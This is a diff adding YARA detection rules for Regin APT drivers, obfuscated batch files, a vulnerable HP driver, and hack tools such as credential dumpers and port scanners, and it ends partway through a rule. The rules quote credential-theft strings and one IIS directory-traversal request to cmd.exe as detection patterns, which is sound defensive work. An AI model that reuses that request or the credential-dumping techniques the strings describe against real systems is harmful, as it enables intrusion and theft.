+		$m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+
+		$s0 = "atapi.sys" fullword wide
+		$s1 = "disk.sys" fullword wide
+		$s3 = "h.data" fullword ascii
+		$s4 = "\\system32" ascii
+		$s5 = "\\SystemRoot" ascii
+		$s6 = "system" fullword ascii
+		$s7 = "temp" fullword ascii
+		$s8 = "windows" fullword ascii
+
+		$x1 = "LRich6" fullword ascii
+		$x2 = "KeServiceDescriptorTable" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $m0 at 0 and $m1 and
+		all of ($s*) and 1 of ($x*)
+}
+
+rule Regin_APT_KernelDriver_Generic_B {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "ffb0b9b5b610191051a7bdf0806e1e47"
+		hash2 = "bfbe8c3ee78750c3a520480700e440f8"
+		hash3 = "b29ca4f22ae7b7b25f79c1d4a421139d"
+		hash4 = "06665b96e293b23acc80451abb413e50"
+		hash5 = "2c8b9d2885543d7ade3cae98225e263b"
+		hash6 = "4b6b86c7fec1c574706cecedf44abded"
+		hash7 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash8 = "d240f06e98c8d3e647cbf4d442d79475"
+		hash9 = "6662c390b2bbbd291ec7987388fc75d7"
+		hash10 = "1c024e599ac055312a4ab75b3950040a"
+		hash11 = "ba7bb65634ce1e30c1e5415be3d1db1d"
+		hash12 = "b505d65721bb2453d5039a389113b566"
+		hash13 = "b269894f434657db2b15949641a67532"
+		id = "14f31b2d-4753-54e8-891a-e28689ba57db"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
+		$s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		$s2 = "H.data" fullword ascii nocase
+		$s3 = "INIT" fullword ascii
+		$s4 = "ntoskrnl.exe" fullword ascii
+
+		$v1 = "\\system32" ascii
+		$v2 = "\\SystemRoot" ascii
+		$v3 = "KeServiceDescriptorTable" fullword ascii
+
+		$w1 = "\\system32" ascii
+		$w2 = "\\SystemRoot" ascii
+		$w3 = "LRich6" fullword ascii
+
+		$x1 = "_snprintf" ascii
+		$x2 = "_except_handler3" ascii
+
+		$y1 = "mbstowcs" fullword ascii
+		$y2 = "wcstombs" fullword ascii
+		$y3 = "KeGetCurrentIrql" fullword ascii
+
+		$z1 = "wcscpy" fullword ascii
+		$z2 = "ZwCreateFile" fullword ascii
+		$z3 = "ZwQueryInformationFile" fullword ascii
+		$z4 = "wcslen" fullword ascii
+		$z5 = "atoi" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and
+		$m0 at 0 and all of ($s*) and
+		( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*) )
+		and filesize < 20KB
+}
+
+rule Regin_APT_KernelDriver_Generic_C {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "e0895336617e0b45b312383814ec6783556d7635"
+		hash2 = "732298fa025ed48179a3a2555b45be96f7079712"
+		id = "2006b3f0-abd1-5274-8b18-75368671e062"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
+
+		$s0 = "KeGetCurrentIrql" fullword ascii
+		$s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
+		$s2 = "usbclass" fullword wide
+
+		$x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
+		$x2 = "Universal Serial Bus Class Driver" fullword wide
+		$x3 = "5.2.3790.0" fullword wide
+
+		$y1 = "LSA Shell" fullword wide
+		$y2 = "0Richw" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and
+		$m0 at 0 and all of ($s*) and
+		( all of ($x*) or all of ($y*) )
+		and filesize < 20KB
+}
+
+/* Update 27.11.14 */
+
+rule Regin_sig_svcsstat {
+	meta:
+		description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"
+		id = "0cb493d7-c7f1-54c4-9805-d9894bf399da"
+	strings:
+		$s0 = "Service Control Manager" fullword ascii
+		$s1 = "_vsnwprintf" ascii
+		$s2 = "Root Agency" fullword ascii
+		$s3 = "Root Agency0" fullword ascii
+		$s4 = "StartServiceCtrlDispatcherA" fullword ascii
+		$s5 = "\\\\?\\UNC" fullword wide
+		$s6 = "%ls%ls" fullword wide
+	condition:
+		all of them and filesize < 15KB and filesize > 10KB
+}
+
+rule Regin_Sample_1 {
+   meta:
+      description = "Semiautomatically generated YARA rule - file-3665415_sys"
+      author = "Florian Roth"
+      date = "25.11.14"
+      score = 70
+      hash = "773d7fab06807b5b1bc2d74fa80343e83593caf2"
+      id = "13478652-155f-52ba-af16-53f27c92e052"
+   strings:
+      $s0 = "Getting PortName/Identifier failed - %x" fullword ascii
+      $s1 = "SerialAddDevice - error creating new devobj [%#08lx]" fullword ascii
+      $s2 = "External Naming Failed - Status %x" fullword ascii
+      $s3 = "------- Same multiport - different interrupts" fullword ascii
+      $s4 = "%x occurred prior to the wait - starting the" fullword ascii
+      $s5 = "'user registry info - userPortIndex: %d" fullword ascii
+      $s6 = "Could not report legacy device - %x" fullword ascii
+      $s7 = "entering SerialGetPortInfo" fullword ascii
+      $s8 = "'user registry info - userPort: %x" fullword ascii
+      $s9 = "IoOpenDeviceRegistryKey failed - %x " fullword ascii
+      $s10 = "Kernel debugger is using port at address %X" fullword ascii
+      $s12 = "Release - freeing multi context" fullword ascii
+      $s13 = "Serial driver will not load port" fullword ascii
+      $s14 = "'user registry info - userAddressSpace: %d" fullword ascii
+      $s15 = "SerialAddDevice: Enumeration request, returning NO_MORE_ENTRIES" fullword ascii
+      $s20 = "'user registry info - userIndexed: %d" fullword ascii
+
+      $fp1 = "Enter SerialBuildResourceList" ascii fullword
+   condition:
+      all of them and filesize < 110KB and filesize > 80KB and not $fp1
+}
+
+rule Regin_Sample_2 {
+	meta:
+		description = "Auto-generated rule - file hiddenmod_hookdisk_and_kdbg_8949d000.bin"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "a7b285d4b896b66fce0ebfcd15db53b3a74a0400"
+		id = "1091a598-e964-5f67-9267-531d66831bee"
+	strings:
+		$s0 = "\\SYSTEMROOT\\system32\\lsass.exe" wide
+		$s1 = "atapi.sys" fullword wide
+		$s2 = "disk.sys" fullword wide
+		$s3 = "IoGetRelatedDeviceObject" fullword ascii
+		$s4 = "HAL.dll" fullword ascii
+		$s5 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services" ascii
+		$s6 = "PsGetCurrentProcessId" fullword ascii
+		$s7 = "KeGetCurrentIrql" fullword ascii
+		$s8 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s9 = "KeSetImportanceDpc" fullword ascii
+		$s10 = "KeQueryPerformanceCounter" fullword ascii
+		$s14 = "KeInitializeEvent" fullword ascii
+		$s15 = "KeDelayExecutionThread" fullword ascii
+		$s16 = "KeInitializeTimerEx" fullword ascii
+		$s18 = "PsLookupProcessByProcessId" fullword ascii
+		$s19 = "ExReleaseFastMutexUnsafe" fullword ascii
+		$s20 = "ExAcquireFastMutexUnsafe" fullword ascii
+	condition:
+		all of them and filesize < 40KB and filesize > 30KB
+}
+
+rule Regin_Sample_3 {
+	meta:
+		description = "Detects Regin Backdoor sample fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
+		author = "@Malwrsignatures"
+		date = "27.11.14"
+		hash = "fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
+		id = "eefc174f-4b17-5c90-8478-3eaaf80e9a78"
+	strings:
+		$s0 = "Service Pack x" fullword wide
+		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" wide
+		$s2 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" wide
+		$s3 = "mntoskrnl.exe" fullword wide
+		$s4 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management" wide
+		$s5 = "Memory location: 0x%p, size 0x%08x" wide fullword
+		$s6 = "Service Pack" fullword wide
+		$s7 = ".sys" fullword wide
+		$s8 = ".dll" fullword wide
+
+		$s10 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Updates" wide
+		$s11 = "IoGetRelatedDeviceObject" fullword ascii
+		$s12 = "VMEM.sys" fullword ascii
+		$s13 = "RtlGetVersion" fullword wide
+		$s14 = "ntkrnlpa.exe" fullword ascii
+	condition:
+		uint32(0) == 0xfedcbafe and all of ($s*) and filesize > 160KB and filesize < 200KB
+}
+
+rule Regin_Sample_Set_2 {
+	meta:
+		description = "Auto-generated rule - file SHF-000052 and ndisips.sys"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash1 = "8487a961c8244004c9276979bb4b0c14392fc3b8"
+		hash2 = "bcf3461d67b39a427c83f9e39b9833cfec977c61"
+		id = "0b21091d-413e-54dd-83d1-5d824fb013f2"
+	strings:
+		$s0 = "HAL.dll" fullword ascii
+		$s1 = "IoGetDeviceObjectPointer" fullword ascii
+		$s2 = "MaximumPortsServiced" fullword wide
+		$s3 = "KeGetCurrentIrql" fullword ascii
+		$s4 = "ntkrnlpa.exe" fullword ascii
+		$s5 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s6 = "ConnectMultiplePorts" fullword wide
+		$s7 = "\\SYSTEMROOT" wide
+		$s8 = "IoWriteErrorLogEntry" fullword ascii
+		$s9 = "KeQueryPerformanceCounter" fullword ascii
+		$s10 = "KeServiceDescriptorTable" fullword ascii
+		$s11 = "KeRemoveEntryDeviceQueue" fullword ascii
+		$s12 = "SeSinglePrivilegeCheck" fullword ascii
+		$s13 = "KeInitializeEvent" fullword ascii
+		$s14 = "IoBuildDeviceIoControlRequest" fullword ascii
+		$s15 = "KeRemoveDeviceQueue" fullword ascii
+		$s16 = "IofCompleteRequest" fullword ascii
+		$s17 = "KeInitializeSpinLock" fullword ascii
+		$s18 = "MmIsNonPagedSystemAddressValid" fullword ascii
+		$s19 = "IoCreateDevice" fullword ascii
+		$s20 = "KefReleaseSpinLockFromDpcLevel" fullword ascii
+	condition:
+		filesize < 40KB and filesize > 30KB and all of them
+}
+
+rule Regin_Sample_Set_1 {
+	meta:
+		description = "Detects Regin Backdoor sample"
+		author = "@MalwrSignatures"
+		date = "27.11.14"
+		modified = "2023-01-06"
+		hash1 = "4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be"
+		hash2 = "e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
+		id = "b0f24a0b-10e7-5549-a300-516df8644cb0"
+	strings:
+		$hd = { fe ba dc fe }
+
+		$s0 = "d%ls%ls" fullword wide
+		$s1 = "\\\\?\\UNC" fullword wide
+		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion" fullword wide
+		$s4 = "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
+		$s5 = "System\\CurrentControlSet\\Services\\Tcpip\\Linkage" wide fullword
+		$s6 = "\\\\.\\Global\\%s" fullword wide
+		$s7 = "temp" fullword wide
+		$s8 = "\\\\.\\%s" fullword wide
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide
+
+		$s10 = "sscanf" fullword ascii
+		$s11 = "disp.dll" fullword ascii
+		$s12 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
+		$s13 = "%d.%d.%d.%d%c" fullword ascii
+		$s14 = "imagehlp.dll" fullword ascii
+		$s15 = "%hd %d" fullword ascii
+	condition:
+		( $hd at 0 ) and all of ($s*) and filesize < 450KB and filesize > 360KB
+}
+
+rule apt_regin_legspin {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect Regin's Legspin module"
+	    version = "1.0"
+	    last_modified = "2015-01-22"
+		modified = "2023-01-27"
+	    reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+	    md5 = "29105f46e4d33f66fee346cfd099d1cc"
+	    id = "2abd3605-d9bf-53f0-8521-ac8dc18d9fce"
+	strings:
+	    $a1="sharepw"
+	    $a2="reglist"
+	    $a3="logdump"
+	    $a4="Name:" wide
+	    $a5="Phys Avail:"
+	    $a6="cmd.exe" wide
+	    $a7="ping.exe" wide
+	    $a8="millisecs"
+	condition:
+	    uint16(0) == 0x5A4D and all of ($a*)
+}
+
+rule apt_regin_hopscotch {
+	meta:
+	    copyright = "Kaspersky Lab"
+	    description = "Rule to detect Regin's Hopscotch module"
+	    version = "1.0"
+	    last_modified = "2015-01-22"
+		modified = "2023-01-27"
+	    reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
+	    md5 = "6c34031d7a5fc2b091b623981a8ae61c"
+	    id = "907042ba-8e64-5ca7-9a83-70c28af1ab99"
+	strings:
+	    $a1="AuthenticateNetUseIpc"
+	    $a2="Failed to authenticate to"
+	    $a3="Failed to disconnect from"
+	    $a4="%S\\ipc$" wide
+	    $a5="Not deleting..."
+	    $a6="CopyServiceToRemoteMachine"
+	    $a7="DH Exchange failed"
+	    $a8="ConnectToNamedPipes"
+	condition:
+	    uint16(0) == 0x5A4D  and all of ($a*)
+}
+
+rule Regin_Related_Malware {
+	meta:
+		description = "Malware Sample - maybe Regin related"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "76c355bfeb859a347e38da89e3d30a6ff1f94229"
+		id = "9377dd52-244f-5289-a2a3-88b6377b2dd2"
+	strings:
+		$s1 = "%c%s%c -p %d -e %d -pv -c \"~~[%x] s; .%c%c%s %s /u %s_%d.dmp; q\"" fullword wide /* score: '22.015' */
+
+		$s0 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide /* PEStudio Blacklist: os */ /* score: '26.02' */
+		$s2 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii /* score: '13.01' */
+		$s3 = "disp.dll" fullword ascii /* score: '11.01' */
+		$s4 = "msvcrtd.dll" fullword ascii /* score: '11.005' */
+		$s5 = "%d.%d.%d.%d%c" fullword ascii /* score: '11.0' */
+		$s6 = "%ls_%08x" fullword wide /* score: '8.0' */
+		$s8 = "d%ls%ls" fullword wide /* score: '7.005' */
+		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide /* score: '6.025' */
+	condition:
+		$s1 or 3 of ($s*)
+}
diff --git a/yara-Neo23x0/susp_bat_obfusc_jul24.yar b/yara-Neo23x0/susp_bat_obfusc_jul24.yar
new file mode 100644
index 0000000..10c1325
--- /dev/null
+++ b/yara-Neo23x0/susp_bat_obfusc_jul24.yar
@@ -0,0 +1,51 @@
+
+rule SUSP_BAT_OBFUSC_Jul24_1 {
+   meta:
+      description = "Detects indicators of obfuscation in Windows Batch files"
+      author = "Florian Roth"
+      reference = "https://x.com/0xToxin/status/1811656147943752045"
+      date = "2024-07-12"
+      score = 70
+   strings:
+      $s1 = "&&set "
+   condition:
+      filesize < 300KB  
+      and uint32(0) == 0x20746573 // "set " at the beginning of the file
+      and $s1 in (0..32) // "&&set " in the first 32 bytes
+}
+
+rule SUSP_BAT_OBFUSC_Jul24_2 {
+   meta:
+      description = "Detects indicators of obfuscation in Windows Batch files"
+      author = "Florian Roth"
+      reference = "https://x.com/0xToxin/status/1811656147943752045"
+      date = "2024-07-12"
+      score = 70
+   strings:
+      $s1 = "&&set "
+   condition:
+      filesize < 300KB
+      // number of occurrences of the string "&&set " in the file
+      and #s1 > 30
+      // it's the "%\n" at the very end of the file
+      and uint16(filesize-2) == 0x0a0d
+      and uint8(filesize-3) == 0x25
+}
+
+rule SUSP_BAT_OBFUSC_Jul24_3 {
+   meta:
+      description = "Detects indicators of obfuscation in Windows Batch files"
+      author = "Florian Roth"
+      reference = "https://x.com/0xToxin/status/1811656147943752045"
+      date = "2024-07-12"
+      score = 70
+   strings:
+      $s1 = "% \\\\%" // part of the UNC path for the SMB connection
+      // It detects the set pattern with a single character value in front of the %%
+      // we use ?? to wildcard the character
+      // =?&&set 
+      $s2 = { 3D ?? 26 26 73 65 74 20 } 
+   condition:
+      filesize < 300KB
+      and all of them
+}
diff --git a/yara-Neo23x0/susp_vulndriver_hp_hardware_diagnostics_etdsupp_may23.yar b/yara-Neo23x0/susp_vulndriver_hp_hardware_diagnostics_etdsupp_may23.yar
new file mode 100644
index 0000000..6507bd2
--- /dev/null
+++ b/yara-Neo23x0/susp_vulndriver_hp_hardware_diagnostics_etdsupp_may23.yar
@@ -0,0 +1,16 @@
+rule SUSP_VulnDriver_HP_Hardware_Diagnostics_Etdsupp_May23 {
+   meta:
+      description = "Detects vulnerable versions of the HP Hardware Diagnostics driver (etdsupp.sys) based on PE metadata info"
+      author = "X__Junior (Nextron Systems)"
+      date = "2023-05-12"
+      reference = "https://github.com/alfarom256/HPHardwareDiagnostics-PoC/tree/main/"
+      hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
+      score = 65
+      id = "8f838e4f-3e3e-5131-9d67-e49f6848bb37"
+    strings:
+        $s1 = {4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 65 00 74 00 64 00 73 00 75 00 70 00 70 00 2e 00 73 00 79 00 73 00} /*OriginalFilename  etdsupp.sys*/
+        $s2 = "etdsupp.pdb"
+        $s3 = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}([\x00-\xff]{2}[\x00-\x11]\x00[\x00-\xff]{4}|\x00\x00\x12\x00\x00\x00\x00\x00)/  /* Vuln Versions*/
+    condition:
+        uint16(0) == 0x5a4d and int16(uint32(0x3C) + 0x5c) == 0x0001 and filesize < 100KB and all of them
+}
diff --git a/yara-Neo23x0/thor-hacktools.yar b/yara-Neo23x0/thor-hacktools.yar
new file mode 100644
index 0000000..6e07b2c
--- /dev/null
+++ b/yara-Neo23x0/thor-hacktools.yar
@@ -0,0 +1,4716 @@
+/*
+
+   THOR APT Scanner - Hack Tool Extract
+   This rulset is a subset of all hack tool rules included in our
+   APT Scanner THOR - the full featured APT scanner.
+
+   We will frequently update this file with new rules rated TLP:WHITE
+
+   Florian Roth
+   Nextron Systems GmbH
+
+   revision: 20170620
+
+*/
+
+import "pe"
+
+/* WCE */
+
+rule WindowsCredentialEditor
+{
+    meta:
+       description = "Windows Credential Editor"
+      threat_level = 10
+      score = 90
+       id = "1542c6e4-36b2-5272-85d0-43226869b43e"
+    strings:
+      $a = "extract the TGT session key"
+      $b = "Windows Credentials Editor"
+    condition:
+       all of them
+}
+
+rule HKTL_Amplia_Security_Tool
+{
+    meta:
+      description = "Detects Amplia Security Tool like Windows Credential Editor"
+      score = 60
+      nodeepdive = 1
+      author = "Florian Roth"
+      date = "2013-01-01"
+      modified = "2023-02-14"
+      id = "4ad83f34-561d-53ce-9766-e21700354da7"
+    strings:
+      $a = "Amplia Security"
+      $c = "getlsasrvaddr.exe"
+      $d = "Cannot get PID of LSASS.EXE"
+      $e = "extract the TGT session key"
+      $f = "PPWDUMP_DATA"
+    condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and (
+         2 of them
+      ) or 3 of them
+}
+/* pwdump/fgdump */
+
+rule PwDump
+{
+   meta:
+      description = "PwDump 6 variant"
+      author = "Marc Stroebel"
+      date = "2014-04-24"
+      score = 70
+      id = "e557e548-53e8-5098-93d4-8e899384e67c"
+   strings:
+      $s5 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineNa"
+      $s6 = "Unable to query service status. Something is wrong, please manually check the st"
+      $s7 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword
+   condition:
+      1 of them
+}
+
+rule PScan_Portscan_1 {
+   meta:
+      description = "PScan - Port Scanner"
+      author = "F. Roth"
+      score = 50
+      id = "54997776-644b-5a72-b08c-7174b7dc7f66"
+   strings:
+      $a = "00050;0F0M0X0a0v0}0"
+      $b = "vwgvwgvP76"
+      $c = "Pr0PhOFyP"
+   condition:
+      all of them
+}
+
+rule HackTool_Samples {
+   meta:
+      description = "Hacktool"
+      score = 50
+      id = "ecacf84a-f66c-5c21-ae4b-fd9bfb5be384"
+   strings:
+      $a = "Unable to uninstall the fgexec service"
+      $b = "Unable to set socket to sniff"
+      $c = "Failed to load SAM functions"
+      $d = "Dump system passwords"
+      $e = "Error opening sam hive or not valid file"
+      $f = "Couldn't find LSASS pid"
+      $g = "samdump.dll"
+      $h = "WPEPRO SEND PACKET"
+      $i = "WPE-C1467211-7C89-49c5-801A-1D048E4014C4"
+      $j = "Usage: unshadow PASSWORD-FILE SHADOW-FILE"
+      $k = "arpspoof\\Debug"
+      $l = "Success: The log has been cleared"
+      $m = "clearlogs [\\\\computername"
+      $n = "DumpUsers 1."
+      $o = "dictionary attack with specified dictionary file"
+      $p = "by Objectif Securite"
+      $q = "objectif-securite"
+      $r = "Cannot query LSA Secret on remote host"
+      $s = "Cannot write to process memory on remote host"
+      $t = "Cannot start PWDumpX service on host"
+      $u = "usage: %s <system hive> <security hive>"
+      $v = "username:domainname:LMhash:NThash"
+      $w = "<server_name_or_ip> | -f <server_list_file> [username] [password]"
+      $x = "Impersonation Tokens Available"
+      $y = "failed to parse pwdump format string"
+      $z = "Dumping password"
+   condition:
+      1 of them
+}
+
+/* Disclosed hack tool set */
+
+rule Fierce2
+{
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "This signature detects the Fierce2 domain scanner"
+      date = "01.07.2014"
+      score = 60
+      id = "08a72151-48c2-513b-995f-be0d5acba7dd"
+   strings:
+      $s1 = "$tt_xml->process( 'end_domainscan.tt', $end_domainscan_vars,"
+   condition:
+      1 of them
+}
+
+rule Ncrack
+{
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "This signature detects the Ncrack brute force tool"
+      date = "01.07.2014"
+      score = 60
+      id = "c1c56ee9-7f76-5440-b0e0-86e372c53340"
+   strings:
+      $s1 = "NcrackOutputTable only supports adding up to 4096 to a cell via"
+   condition:
+      1 of them
+}
+
+rule SQLMap
+{
+   meta:
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      description = "This signature detects the SQLMap SQL injection tool"
+      date = "01.07.2014"
+      score = 60
+      id = "55a72fe6-f82d-5d55-842f-5d7e1cfcc9fa"
+   strings:
+      $s1 = "except SqlmapBaseException, ex:"
+   condition:
+      1 of them
+}
+
+rule HKTL_PortScanner_Simple_Jan14 {
+   meta:
+      description = "Auto-generated rule on file PortScanner.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "b381b9212282c0c650cb4b0323436c63"
+      old_rule_name = "PortScanner"
+      id = "3e8960ce-0428-51e1-b992-4fa09fee8520"
+   strings:
+      $s0 = "Scan Ports Every"
+      $s3 = "Scan All Possible Ports!"
+   condition:
+      all of them
+}
+
+rule DomainScanV1_0 {
+   meta:
+      description = "Auto-generated rule on file DomainScanV1_0.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "aefcd73b802e1c2bdc9b2ef206a4f24e"
+      id = "94ead827-8b29-5cb5-82b6-a7ca5087bf7e"
+   strings:
+      $s0 = "dIJMuX$aO-EV"
+      $s1 = "XELUxP\"-\\"
+      $s2 = "KaR\"U'}-M,."
+      $s3 = "V.)\\ZDxpLSav"
+      $s4 = "Decompress error"
+      $s5 = "Can't load library"
+      $s6 = "Can't load function"
+      $s7 = "com0tl32:.d"
+   condition:
+      all of them
+}
+
+rule HKTL_MooreR_Port_Scanner {
+   meta:
+      description = "Auto-generated rule on file MooreR Port Scanner.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "376304acdd0b0251c8b19fea20bb6f5b"
+      id = "5d8fb83f-bed3-53d2-bd33-2158911dc7c8"
+   strings:
+      $s0 = "Description|"
+      $s3 = "soft Visual Studio\\VB9yp"
+      $s4 = "adj_fptan?4"
+      $s7 = "DOWS\\SyMem32\\/o"
+   condition:
+      all of them
+}
+
+rule NetBIOS_Name_Scanner {
+   meta:
+      description = "Auto-generated rule on file NetBIOS Name Scanner.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "888ba1d391e14c0a9c829f5a1964ca2c"
+      id = "03716e00-a969-5ab5-9be7-e8fc4272e40f"
+   strings:
+      $s0 = "IconEx"
+      $s2 = "soft Visual Stu"
+      $s4 = "NBTScanner!y&"
+   condition:
+      all of them
+}
+
+rule FeliksPack3___Scanners_ipscan {
+   meta:
+      description = "Auto-generated rule on file ipscan.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "6c1bcf0b1297689c8c4c12cc70996a75"
+      id = "8360b268-3434-5142-9248-40b7a1589be9"
+   strings:
+      $s2 = "WCAP;}ECTED"
+      $s4 = "NotSupported"
+      $s6 = "SCAN.VERSION{_"
+   condition:
+      all of them
+}
+
+rule CGISscan_CGIScan {
+   meta:
+      description = "Auto-generated rule on file CGIScan.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "338820e4e8e7c943074d5a5bc832458a"
+      id = "60bd5038-a308-55fd-85bb-2c4183f1c951"
+   strings:
+      $s1 = "Wang Products" fullword wide
+      $s2 = "WSocketResolveHost: Cannot convert host address '%s'"
+      $s3 = "tcp is the only protocol supported thru socks server"
+   condition:
+      all of ($s*)
+}
+
+rule IP_Stealing_Utilities {
+   meta:
+      description = "Auto-generated rule on file IP Stealing Utilities.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "65646e10fb15a2940a37c5ab9f59c7fc"
+      id = "3a947e9c-d707-5819-88f2-059585750048"
+   strings:
+      $s0 = "DarkKnight"
+      $s9 = "IPStealerUtilities"
+   condition:
+      all of them
+}
+
+rule SuperScan4 {
+   meta:
+      description = "Auto-generated rule on file SuperScan4.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "78f76428ede30e555044b83c47bc86f0"
+      id = "bd353382-ffa2-56c5-b842-1ffc94d6849e"
+   strings:
+      $s2 = " td class=\"summO1\">"
+      $s6 = "REM'EBAqRISE"
+      $s7 = "CorExitProcess'msc#e"
+   condition:
+      all of them
+
+}
+rule PortRacer {
+   meta:
+      description = "Auto-generated rule on file PortRacer.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "2834a872a0a8da5b1be5db65dfdef388"
+      id = "54717938-2f4c-5442-b0ad-40b9acd1101a"
+   strings:
+      $s0 = "Auto Scroll BOTH Text Boxes"
+      $s4 = "Start/Stop Portscanning"
+      $s6 = "Auto Save LogFile by pressing STOP"
+   condition:
+      all of them
+}
+
+rule scanarator {
+   meta:
+      description = "Auto-generated rule on file scanarator.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "848bd5a518e0b6c05bd29aceb8536c46"
+      id = "dfc3ff29-03b4-58ca-bfe0-c6888fddab67"
+   strings:
+      $s4 = "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
+   condition:
+      all of them
+}
+
+rule aolipsniffer {
+   meta:
+      description = "Auto-generated rule on file aolipsniffer.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "51565754ea43d2d57b712d9f0a3e62b8"
+      id = "f7cc0f31-6ba4-504b-82de-0334257b8a95"
+   strings:
+      $s0 = "C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.OLB"
+      $s1 = "dwGetAddressForObject"
+      $s2 = "Color Transfer Settings"
+      $s3 = "FX Global Lighting Angle"
+      $s4 = "Version compatibility info"
+      $s5 = "New Windows Thumbnail"
+      $s6 = "Layer ID Generator Base"
+      $s7 = "Color Halftone Settings"
+      $s8 = "C:\\WINDOWS\\SYSTEM\\MSWINSCK.oca"
+   condition:
+      all of them
+}
+
+rule _Bitchin_Threads_ {
+   meta:
+      description = "Auto-generated rule on file =Bitchin Threads=.exe"
+      author = "yarGen Yara Rule Generator by Florian Roth"
+      hash = "7491b138c1ee5a0d9d141fbfd1f0071b"
+      id = "3a51e76c-b360-5f10-961c-ecc3ea3fa3c9"
+   strings:
+      $s0 = "DarKPaiN"
+      $s1 = "=BITCHIN THREADS"
+   condition:
+      all of them
+}
+
+rule cgis4_cgis4 {
+   meta:
+      description = "Auto-generated rule on file cgis4.exe"
